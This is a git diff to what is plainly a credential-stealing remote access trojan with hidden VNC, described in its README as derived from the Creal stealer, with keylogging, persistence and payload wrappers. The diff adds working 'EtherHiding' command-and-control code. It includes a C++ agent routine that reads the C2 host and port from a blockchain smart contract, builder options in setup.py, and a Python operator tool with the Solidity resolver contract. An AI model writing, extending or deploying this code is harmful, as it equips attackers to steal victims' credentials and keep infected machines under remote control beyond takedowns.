diff --git a/README.md b/README.md index 54922b3..28b19c7 100644 --- a/README.md +++ b/README.md @@ -33,6 +33,7 @@ Derived from the 2023-era Creal stealer. Since mid-2024 Chrome has locked creden - **Network clients** (`network_clients`): WinSCP, PuTTY, mRemoteNG, MobaXterm, OpenVPN - **AI assistants** (`ai_assistants`): Claude Desktop, OpenAI Codex, Gemini CLI, opencode - 🔐 **Encrypted C2 channel**: reverse TCP (default) or HTTPS beaconing through a CDN +- 🧊 **EtherHiding C2**: the TCP endpoint resolves from a smart contract on a public chain, so the binary carries no C2 address; rotate the C2 by calling the contract - 📦 **Payload builder** (`setup.py`): msfvenom-style config, ECDH key handling, `-p` wrappers for 9 delivery formats - ⌨️ **Keylogger and clipboard monitoring** - 🪝 **Persistence**: user-registry Run key and WMI event subscriptions @@ -84,6 +85,34 @@ setup.py emits `deploy/worker.js` and `deploy/cloudflared-config.yml`. Deploy the worker with `wrangler deploy deploy/worker.js`, fill the tunnel UUID into the config, `cloudflared tunnel run `. +## EtherHiding C2 + +The agent can resolve its TCP endpoint from a smart contract on a public chain +(`eth_call`, free and read-only), so the compiled binary carries no C2 address. +Rotate the C2 by updating the contract; every bot picks up the new value on +its next start. A dead RPC or decode failure falls back to the compiled +endpoint. + +1. Deploy the resolver once in Remix or on the chain explorer (contract source + is in `tools/etherhiding.py`). +2. Store the endpoint, and read it back: + +```powershell +python tools\etherhiding.py update --contract 0x... --value 10.2.0.2:4444 --key +python tools\etherhiding.py read --contract 0x... +``` + +3. Build with the resolver wired in; the wizard asks for it under TCP, or pass + it directly: + +```powershell +python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 CHAIN_CONTRACT=0x... CHAIN_RPC=https://cloudflare-eth.com +``` + +The value is a `bytes32` `host:port`, 31 chars max. `HVNC_CHAIN_RPC` / +`HVNC_CHAIN_CONTRACT` env vars override both at runtime; an explicit agent +`argv` endpoint overrides the chain. + ## Payload wrappers The builder (`setup.py -p `) packages the agent into delivery @@ -172,6 +201,7 @@ A fresh checkout builds against `127.0.0.1:4444`. Run `setup.py` once so `.miser - `src/rat`: keylogger + clipboard - `src/transport`: encrypted TCP framing, HTTPS beacon carrier, compression - `src/evasion`: indirect syscalls, anti-analysis, UAC/token elevation, helpers +- `tools/`: operator helpers (EtherHiding resolver read/update) - `wrappers_bases/`: Office-authored compiled macro bases used by the docm/xlsm wrappers - `build/`: out-of-source build dir diff --git a/setup.py b/setup.py index a3537de..c728508 100644 --- a/setup.py +++ b/setup.py @@ -60,6 +60,8 @@ OPTIONS = { "AUTH_SECRET": ("auth_secret", "CDN auth header value", True, None), "SLEEP_MS": ("sleep_ms", "Beacon interval (ms)", False, None), "EXFIL_URL": ("exfil_url", "Optional HTTPS exfil endpoint (empty = channel only)", False, None), + "CHAIN_RPC": ("chain_rpc", "EtherHiding JSON-RPC endpoint (empty = resolver off)", False, None), + "CHAIN_CONTRACT": ("chain_contract", "EtherHiding resolver contract address (empty = resolver off)", False, None), "TUNNEL_HOST": ("tunnel_host", "Hostname the Worker forwards to (tunnel ingress, e.g. c2.example.com)", False, None), "CF_ACCESS_CLIENT_ID": ("cf_access_client_id", "Cloudflare Access service-token client ID (empty = none)", False, None), "CF_ACCESS_CLIENT_SECRET": ("cf_access_client_secret", "Cloudflare Access service-token client secret (empty = none)", False, None), @@ -92,6 +94,8 @@ class Config: self.auth_secret = None self.sleep_ms = 5000 self.exfil_url = "" + self.chain_rpc = "" + self.chain_contract = "" self.tunnel_host = "c2.yourdomain.com" self.cf_access_client_id = "" self.cf_access_client_secret = "" @@ -290,6 +294,12 @@ def write_config(c: Config) -> str: "#define HVNC_C2_PORT %d\n\n" "// Optional HTTPS exfil endpoint. Empty means results stay on the C2 channel.\n" "#define HVNC_EXFIL_URL \"%s\"\n\n" + "// EtherHiding dead-drop resolver: eth_call on a public chain (transport 0).\n" + "// Empty RPC or contract disables the lookup; the agent then uses the\n" + "// compiled endpoint above. Env HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT override\n" + "// both at runtime.\n" + "#define HVNC_CHAIN_RPC \"%s\"\n" + "#define HVNC_CHAIN_CONTRACT \"%s\"\n\n" "// Console's ECDH P-256 public key (BCRYPT_ECCPUBLIC_BLOB, 72 bytes).\n" "// Only this public half is compiled in; the private half lives in\n" "// .misery_key on the operator box. Each connection/session derives its\n" @@ -307,6 +317,8 @@ def write_config(c: Config) -> str: c.lhost or "127.0.0.1", int(c.lport), c.exfil_url, + c.chain_rpc or "", + c.chain_contract or "", len(c.pub_blob), byte_escapes(c.pub_blob), c.beacon_url or "", @@ -475,6 +487,8 @@ def report(c: Config, files: list) -> None: print(" tunnel : %s" % c.tunnel_host) print(" cf access : %s" % ("service token set" if c.cf_access_client_id else "none")) print(" exfil url : %s" % (c.exfil_url or "(channel only)")) + if c.chain_contract: + print(" chain : %s @ %s" % (c.chain_contract, c.chain_rpc or "(default RPC)")) if c.payload_formats: print(" payloads : %s" % ", ".join(c.payload_formats)) print(" stage url: %s" % (c.stage_url or "(none - self-contained formats only)")) @@ -482,8 +496,9 @@ def report(c: Config, files: list) -> None: print("\n[*] Recreate without prompts:") fmt = (" -p " + ",".join(c.payload_formats)) if c.payload_formats else "" stage = (" STAGE_URL=%s" % c.stage_url) if c.payload_formats and c.stage_url else "" - print(" python setup.py -t %s LHOST=%s LPORT=%d OUT=%s%s%s%s" % ( - c.transport, c.lhost or "", int(c.lport), c.out, fmt, stage, + chain = (" CHAIN_CONTRACT=%s CHAIN_RPC=%s" % (c.chain_contract, c.chain_rpc)) if c.chain_contract else "" + print(" python setup.py -t %s LHOST=%s LPORT=%d OUT=%s%s%s%s%s" % ( + c.transport, c.lhost or "", int(c.lport), c.out, fmt, stage, chain, "" if c.build else " --no-build")) if c.transport == "https_cdn": extra = " TUNNEL_HOST=%s" % c.tunnel_host @@ -538,6 +553,9 @@ def guided(c: Config) -> None: else: c.lhost = ask("C2 host (LHOST)", required=True) c.lport = int(ask("C2 port (LPORT)", default=4444)) + c.chain_contract = ask("EtherHiding resolver contract (empty = off)", default="") + if c.chain_contract: + c.chain_rpc = ask("EtherHiding JSON-RPC endpoint", default="https://cloudflare-eth.com") else: c.beacon_url = ask("Worker beacon URL", required=True) c.auth_header = ask("CDN auth header name", default="X-RT-C2") diff --git a/src/agent/main.cpp b/src/agent/main.cpp index eef3057..8874a2e 100644 --- a/src/agent/main.cpp +++ b/src/agent/main.cpp @@ -27,6 +27,7 @@ #include "syscall.hpp" #include "inject.hpp" #include "beacon.hpp" +#include "etherhiding.hpp" #include "persist.hpp" #include "persist_wmi.hpp" #include "environment.hpp" @@ -627,6 +628,24 @@ int main(int argc, char** argv) { return 0; } } + // EtherHiding dead-drop resolver: the contract value overrides the + // compiled endpoint; an explicit argv/env override below still wins. +#if HVNC_TRANSPORT == 0 + { + const char* rpc = getenv("HVNC_CHAIN_RPC"); + const char* contract = getenv("HVNC_CHAIN_CONTRACT"); + std::string chain_host; + int chain_port = 0; + if (hvnc::chain::resolve_endpoint( + (rpc && rpc[0]) ? rpc : HVNC_CHAIN_RPC, + (contract && contract[0]) ? contract : HVNC_CHAIN_CONTRACT, + chain_host, chain_port)) { + g_host = chain_host; + g_port = chain_port; + printf("[agent] c2 from chain: %s:%d\n", g_host.c_str(), g_port); + } + } +#endif { const char* host = nullptr; const char* port = nullptr; diff --git a/src/config.h b/src/config.h index 1ca53ac..f5f5158 100644 --- a/src/config.h +++ b/src/config.h @@ -13,6 +13,13 @@ // Optional HTTPS exfil endpoint. Empty means results stay on the C2 channel. #define HVNC_EXFIL_URL "" +// EtherHiding dead-drop resolver: eth_call on a public chain (transport 0). +// Empty RPC or contract disables the lookup; the agent then uses the +// compiled endpoint above. Env HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT override +// both at runtime. +#define HVNC_CHAIN_RPC "" +#define HVNC_CHAIN_CONTRACT "" + // Console's ECDH P-256 public key (BCRYPT_ECCPUBLIC_BLOB, 72 bytes). // Only this public half is compiled in; the private half lives in // .misery_key on the operator box. Each connection/session derives its diff --git a/src/transport/etherhiding.cpp b/src/transport/etherhiding.cpp new file mode 100644 index 0000000..acd4014 --- /dev/null +++ b/src/transport/etherhiding.cpp @@ -0,0 +1,156 @@ +#include "etherhiding.hpp" +#include +#include +#include +#include +#include + +#pragma comment(lib, "winhttp.lib") + +namespace hvnc::chain { +namespace { + +std::wstring to_wide(const std::string& s) { + if (s.empty()) return L""; + int n = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0); + std::wstring w(n, L'\0'); + MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), &w[0], n); + return w; +} + +int hexval(char c) { + if (c >= '0' && c <= '9') return c - '0'; + if (c >= 'a' && c <= 'f') return c - 'a' + 10; + if (c >= 'A' && c <= 'F') return c - 'A' + 10; + return -1; +} + +bool decode_hex(const char* hex, size_t len, std::vector& out) { + if (len % 2) return false; + out.resize(len / 2); + for (size_t i = 0; i < out.size(); i++) { + int hi = hexval(hex[i * 2]), lo = hexval(hex[i * 2 + 1]); + if (hi < 0 || lo < 0) return false; + out[i] = static_cast((hi << 4) | lo); + } + return true; +} + +// "host:port"; the last colon separates, so IPv4 and hostnames parse alike. +bool parse_host_port(const std::string& s, std::string& host, int& port) { + size_t colon = s.rfind(':'); + if (colon == std::string::npos || colon == 0 || colon + 1 >= s.size()) return false; + host = s.substr(0, colon); + port = 0; + for (size_t i = colon + 1; i < s.size(); i++) { + if (s[i] < '0' || s[i] > '9') return false; + port = port * 10 + (s[i] - '0'); + if (port > 65535) return false; + } + if (port == 0 || host.empty()) return false; + return true; +} + +// POST a JSON body to an http(s) URL; returns the body on status 200. Hard +// timeouts so a dead RPC cannot stall startup for long. +bool http_post(const std::string& url, const std::string& body, std::string& reply) { + size_t sep = url.find("://"); + if (sep == std::string::npos) return false; + bool secure = url.compare(0, sep, "https") == 0; + std::string rest = url.substr(sep + 3); + size_t slash = rest.find('/'); + std::string host = slash == std::string::npos ? rest : rest.substr(0, slash); + std::string path = slash == std::string::npos ? "/" : rest.substr(slash); + if (host.empty()) return false; + + // The host may carry an explicit port ("host:8123"); split it out. + INTERNET_PORT iport = secure ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT; + size_t hcolon = host.rfind(':'); + if (hcolon != std::string::npos && hcolon + 1 < host.size()) { + int p = 0; + bool digits = true; + for (size_t i = hcolon + 1; i < host.size(); i++) { + if (host[i] < '0' || host[i] > '9') { digits = false; break; } + p = p * 10 + (host[i] - '0'); + } + if (digits && p > 0 && p <= 65535) { + iport = static_cast(p); + host = host.substr(0, hcolon); + } + } + + HINTERNET hSession = WinHttpOpen(L"HVNC/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + if (!hSession) return false; + WinHttpSetTimeouts(hSession, 4000, 4000, 8000, 8000); + + bool ok = false; + HINTERNET hConn = WinHttpConnect(hSession, to_wide(host).c_str(), iport, 0); + if (hConn) { + HINTERNET hReq = WinHttpOpenRequest(hConn, L"POST", to_wide(path).c_str(), nullptr, + WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, + secure ? WINHTTP_FLAG_SECURE : 0); + if (hReq) { + WinHttpAddRequestHeaders(hReq, L"Content-Type: application/json", (DWORD)-1, + WINHTTP_ADDREQ_FLAG_REPLACE | WINHTTP_ADDREQ_FLAG_ADD); + if (WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0, + body.empty() ? WINHTTP_NO_REQUEST_DATA : (LPVOID)body.data(), + (DWORD)body.size(), (DWORD)body.size(), 0) && + WinHttpReceiveResponse(hReq, nullptr)) { + DWORD status = 0, len = sizeof(status); + if (WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, &status, &len, + WINHTTP_NO_HEADER_INDEX) && status == 200) { + std::vector buf; + for (;;) { + DWORD avail = 0; + if (!WinHttpQueryDataAvailable(hReq, &avail)) break; + if (avail == 0) break; + size_t base = buf.size(); + buf.resize(base + avail); + DWORD got = 0; + if (!WinHttpReadData(hReq, buf.data() + base, avail, &got)) break; + buf.resize(base + got); + } + reply.assign(reinterpret_cast(buf.data()), buf.size()); + ok = true; + } + } + WinHttpCloseHandle(hReq); + } + WinHttpCloseHandle(hConn); + } + WinHttpCloseHandle(hSession); + return ok; +} + +} // namespace + +bool resolve_endpoint(const std::string& rpc_url, const std::string& contract_addr, + std::string& host, int& port) { + if (rpc_url.empty() || contract_addr.empty()) return false; + + const std::string body = + "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"eth_call\",\"params\":" + "[{\"to\":\"" + contract_addr + "\",\"data\":\"0x6d4ce63c\"},\"latest\"]}"; + + std::string reply; + if (!http_post(rpc_url, body, reply)) return false; + + // The endpoint string is the raw bytes32 in the "result" field, hex with + // a 0x prefix. + size_t pos = reply.find("\"result\":\""); + if (pos == std::string::npos) return false; + pos += 10; + if (reply[pos] == '0' && (reply[pos + 1] == 'x' || reply[pos + 1] == 'X')) pos += 2; + size_t end = reply.find('"', pos); + if (end == std::string::npos) return false; + std::vector data; + if (!decode_hex(reply.c_str() + pos, end - pos, data)) return false; + while (!data.empty() && data.back() == 0) data.pop_back(); + + std::string value(reinterpret_cast(data.data()), data.size()); + return parse_host_port(value, host, port); +} + +} // namespace hvnc::chain diff --git a/src/transport/etherhiding.hpp b/src/transport/etherhiding.hpp new file mode 100644 index 0000000..6c32b02 --- /dev/null +++ b/src/transport/etherhiding.hpp @@ -0,0 +1,18 @@ +// Dead-drop resolver: fetch the C2 endpoint from a smart contract on a public +// chain via eth_call (free, read-only) so the endpoint never ships in the +// binary. The technique is EtherHiding (Remus 2026): the operator hosts a +// contract whose get() view function returns the current "host:port" as a +// bytes32 and updates it by calling set(). The agent keeps the compiled +// endpoint when the lookup fails, so a dead RPC never strands a bot. +#pragma once +#include + +namespace hvnc::chain { + +// Resolves "host:port" from the contract's get() view call (selector +// 0x6d4ce63c, bytes32 result, trailing NULs trimmed). Returns false on any +// failure (network, decode, empty), leaving host/port untouched. +bool resolve_endpoint(const std::string& rpc_url, const std::string& contract_addr, + std::string& host, int& port); + +} // namespace hvnc::chain diff --git a/tools/etherhiding.py b/tools/etherhiding.py new file mode 100644 index 0000000..6e1091b --- /dev/null +++ b/tools/etherhiding.py @@ -0,0 +1,98 @@ +#!/usr/bin/env python3 +"""EtherHiding C2 resolver operator tool. + +Deploy once (Remix or the chain explorer): paste the contract below, deploy, +note the address. `read` queries the chain with no wallet; `update` writes a +new endpoint with web3.py, or prints the explorer instructions without it. + +Contract: + + // SPDX-License-Identifier: MIT + pragma solidity ^0.8.0; + contract C2Resolver { + bytes32 public c2; + address public owner; + constructor() { owner = msg.sender; } + function set(bytes32 value) external { require(msg.sender == owner, "owner"); c2 = value; } + function get() external view returns (bytes32) { return c2; } + } + +Usage: + python tools/etherhiding.py read --contract 0x... [--rpc URL] + python tools/etherhiding.py update --contract 0x... --value HOST:PORT [--rpc URL] [--key PRIVKEY] +""" + +import argparse +import json +import urllib.request + +DEFAULT_RPC = "https://cloudflare-eth.com" +SELECTOR_GET = "0x6d4ce63c" # keccak("get()") +SELECTOR_SET = "0xdb80813f" # keccak("set(bytes32)") + + +def encode_value(text: str) -> str: + raw = text.encode("utf-8") + if len(raw) > 31: + raise SystemExit("value too long for bytes32 (31 chars max)") + return raw.ljust(32, b"\x00").hex() + + +def eth_call(rpc: str, contract: str) -> str: + body = json.dumps({ + "jsonrpc": "2.0", "id": 1, "method": "eth_call", + "params": [{"to": contract, "data": SELECTOR_GET}, "latest"], + }).encode() + req = urllib.request.Request(rpc, data=body, + headers={"Content-Type": "application/json"}) + reply = json.loads(urllib.request.urlopen(req, timeout=15).read()) + if "result" not in reply: + raise SystemExit("RPC error: %s" % reply.get("error", reply)) + raw = bytes.fromhex(reply["result"][2:]).rstrip(b"\x00") + return raw.decode("utf-8", errors="replace") + + +def cmd_read(args): + value = eth_call(args.rpc, args.contract) + print("contract %s" % args.contract) + print("value %s" % value) + + +def cmd_update(args): + if not args.key: + raise SystemExit( + "--key PRIVKEY required. Without web3: open the contract on the " + "chain explorer and call set(bytes32) with value 0x%s" % encode_value(args.value)) + from web3 import Web3 + w3 = Web3(Web3.HTTPProvider(args.rpc)) + acct = w3.eth.account.from_key(args.key) + tx = { + "from": acct.address, + "to": w3.to_checksum_address(args.contract), + "data": SELECTOR_SET + encode_value(args.value), + "gas": 100000, + "nonce": w3.eth.get_transaction_count(acct.address), + "chainId": w3.eth.chain_id, + } + signed = w3.eth.account.sign_transaction(tx, args.key) + print("tx %s" % w3.eth.send_raw_transaction(signed.raw_transaction).hex()) + + +def main(): + ap = argparse.ArgumentParser(description="EtherHiding C2 resolver tool") + sub = ap.add_subparsers(dest="cmd", required=True) + for name, fn in (("read", cmd_read), ("update", cmd_update)): + p = sub.add_parser(name) + p.set_defaults(fn=fn) + p.add_argument("--contract", help="resolver contract address") + p.add_argument("--rpc", default=DEFAULT_RPC, help="JSON-RPC endpoint") + p.add_argument("--value", help="HOST:PORT to store") + p.add_argument("--key", help="contract owner private key") + args = ap.parse_args() + if not args.contract: + raise SystemExit("--contract required") + args.fn(args) + + +if __name__ == "__main__": + main()